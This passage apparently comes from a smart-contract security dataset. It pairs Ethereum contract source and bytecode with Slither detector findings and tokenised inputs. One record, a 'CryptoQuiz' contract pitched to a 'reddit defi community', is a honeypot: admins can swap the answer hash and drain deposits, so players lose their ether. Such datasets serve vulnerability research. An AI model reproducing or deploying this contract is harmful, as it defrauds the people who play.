fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122485750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561225d576122588383836129d5565b6123db565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123015750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561231657612311838383612c38565b6123da565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123b85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123cd576123c8838383612e06565b6123d9565b6123d8838383612c38565b5b5b5b5b505050565b600083831115829061248e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612453578082015181840152602081019050612438565b50505050905090810190601f1680156124805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006124ae6130fe565b915091506124c581836124cc90919063ffffffff16565b9250505090565b600061250e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506133bf565b905092915050565b6000806000806125246135a1565b61254b600561253d6064896124cc90919063ffffffff16565b61348590919063ffffffff16565b8160006005811061255857fe5b602002018181525050612588600361257a6064896124cc90919063ffffffff16565b61348590919063ffffffff16565b8160016005811061259557fe5b6020020181815250506125c560026125b76064896124cc90919063ffffffff16565b61348590919063ffffffff16565b816002600581106125d257fe5b602002018181525050612645816000600581106125eb57fe5b60200201516126378360016005811061260057fe5b60200201516126298560026005811061261557fe5b60200201518b611cbf90919063ffffffff16565b611cbf90919063ffffffff16565b611cbf90919063ffffffff16565b8160046005811061265257fe5b6020020181815250508060046005811061266857fe5b60200201518160026005811061267a57fe5b60200201518260016005811061268c57fe5b60200201518360006005811061269e57fe5b60200201519450945094509450509193509193565b6000806000806000806126cf898c61348590919063ffffffff16565b905060006126e68a8c61348590919063ffffffff16565b905060006126fd8b8b61348590919063ffffffff16565b905060006127148c8b61348590919063ffffffff16565b9050600061274f8261274185612733888a611cbf90919063ffffffff16565b611cbf90919063ffffffff16565b611cbf90919063ffffffff16565b905084818585859950995099509950995050505050509550955095509550959050565b60008060008060008060008061278789611ac1565b975097509750975097509750975097506127e989600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e88600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612963868585858561350b565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000806000806000806129ea89611ac1565b97509750975097509750975097509750612a4c88600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae185600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7687600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc6868585858561350b565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612c4d89611ac1565b97509750975097509750975097509750612caf88600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4487600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d94868585858561350b565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612e1b89611ac1565b97509750975097509750975097509750612e7d89600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f1288600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa785600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303c87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308c868585858561350b565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b60058054905081101561336a5782600160006005848154811061313d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061322457508160026000600584815481106131bc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613247576006546d314dc6448d9338c15b0a00000000945094505050506133bb565b6132d0600160006005848154811061325b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611cbf90919063ffffffff16565b925061335b60026000600584815481106132e657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611cbf90919063ffffffff16565b9150808060010191505061311e565b5061338e6d314dc6448d9338c15b0a000000006006546124cc90919063ffffffff16565b8210156133b2576006546d314dc6448d9338c15b0a000000009350935050506133bb565b81819350935050505b9091565b6000808311829061346b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613430578082015181840152602081019050613415565b50505050905090810190601f16801561345d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161347757fe5b049050809150509392505050565b6000808314156134985760009050613505565b60008284029050828482816134a957fe5b0414613500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136596021913960400191505060405180910390fd5b809150505b92915050565b61352085600654611cbf90919063ffffffff16565b6006819055506135718161356384613555876135478a600754611d0990919063ffffffff16565b611d0990919063ffffffff16565b611d0990919063ffffffff16565b611d0990919063ffffffff16565b6007819055505050505050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a0016040528060059060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae311e4db76625981cf7ffa465295675ba6b51c6b2a8a58581fc48159f920f7964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 19797, 2050, 18827, 2094, 17788, 16068, 26224, 10790, 2683, 2629, 2094, 17465, 2094, 2683, 2549, 2546, 2487, 2497, 2683, 2549, 2546, 21486, 2683, 2063, 24096, 2575, 2094, 19481, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,843
0x95CdbBC57f98e97fA9e7Af6C0700ae1AC553C940
pragma solidity >=0.4.22 <0.9.0; // My first solidity quiz game for my reddit defi community. contract CryptoQuiz { function Try(string memory _response) public payable { require(msg.sender == tx.origin); if(answerHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) { payable(msg.sender).transfer(address(this).balance); } } string public question; bytes32 answerHash; mapping (bytes32=>bool) admin; function Start(string calldata _question, string calldata _response) public payable isAdmin{ if(answerHash == 0x0) { answerHash = keccak256(abi.encode(_response)); question = _question; } } function Stop() public payable isAdmin { payable(msg.sender).transfer(address(this).balance); } function New(string calldata _question, bytes32 _answerHash) public payable isAdmin { question = _question; answerHash = _answerHash; } constructor(bytes32[] memory admins) { for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(abi.encodePacked(msg.sender))]); _; } fallback() external {} }
0x60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104c6565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105b3565b60405180910390f35b61006c6101d5565b61006c6100af36600461045d565b610248565b61006c6100c2366004610413565b6102d8565b3332146100d357600080fd5b806040516020016100e491906105b3565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b6000805461015490610606565b80601f016020809104026020016040519081016040528092919081815260200182805461018090610606565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610144573d6000803e3d6000fd5b600260003360405160200161025d9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661028f57600080fd5b6001546102d25781816040516020016102a9929190610584565b60408051601f1981840301815291905280516020909101206001556102d060008585610333565b505b50505050565b60026000336040516020016102ed9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661031f57600080fd5b61032b60008484610333565b506001555050565b82805461033f90610606565b90600052602060002090601f01602090048101928261036157600085556103a7565b82601f1061037a5782800160ff198235161785556103a7565b828001600101855582156103a7579182015b828111156103a757823582559160200191906001019061038c565b506103b39291506103b7565b5090565b5b808211156103b357600081556001016103b8565b60008083601f8401126103dd578081fd5b50813567ffffffffffffffff8111156103f4578182fd5b60208301915083602082850101111561040c57600080fd5b9250929050565b600080600060408486031215610427578283fd5b833567ffffffffffffffff81111561043d578384fd5b610449868287016103cc565b909790965060209590950135949350505050565b60008060008060408587031215610472578081fd5b843567ffffffffffffffff80821115610489578283fd5b610495888389016103cc565b909650945060208701359150808211156104ad578283fd5b506104ba878288016103cc565b95989497509550505050565b600060208083850312156104d8578182fd5b823567ffffffffffffffff808211156104ef578384fd5b818501915085601f830112610502578384fd5b81358181111561051457610514610641565b604051601f8201601f191681018501838111828210171561053757610537610641565b604052818152838201850188101561054d578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105df578581018301518582016040015282016105c3565b818111156105f05783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061061a57607f821691505b6020821081141561063b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea26469706673582212205d9850fe69f10e58248c25d6134d45e6e71e9a14d38b20218a6bedd3e7741ae064736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 19797, 10322, 2278, 28311, 2546, 2683, 2620, 2063, 2683, 2581, 7011, 2683, 2063, 2581, 10354, 2575, 2278, 2692, 19841, 2692, 6679, 2487, 6305, 24087, 2509, 2278, 2683, 12740, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 1013, 1013, 2026, 2034, 5024, 3012, 19461, 2208, 2005, 2026, 2417, 23194, 13366, 2072, 2451, 1012, 3206, 19888, 2080, 15549, 2480, 1063, 3853, 3046, 1006, 5164, 3638, 1035, 3433, 1007, 2270, 3477, 3085, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 19067, 1012, 4761, 1007, 1025, 2065, 1006, 3437, 14949, 2232, 1027, 1027, 17710, 16665, 2243, 17788, 2575, 1006, 11113, 2072, 1012, 4372, 16044, 1006, 1035, 3433, 1007, 1007, 1004, 1004, 5796, 2290, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,844
0x95ce0659b2817B15319c047b7d217102d1d82D7d
// File: @openzeppelin/contracts/utils/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/access/IAccessControl.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function 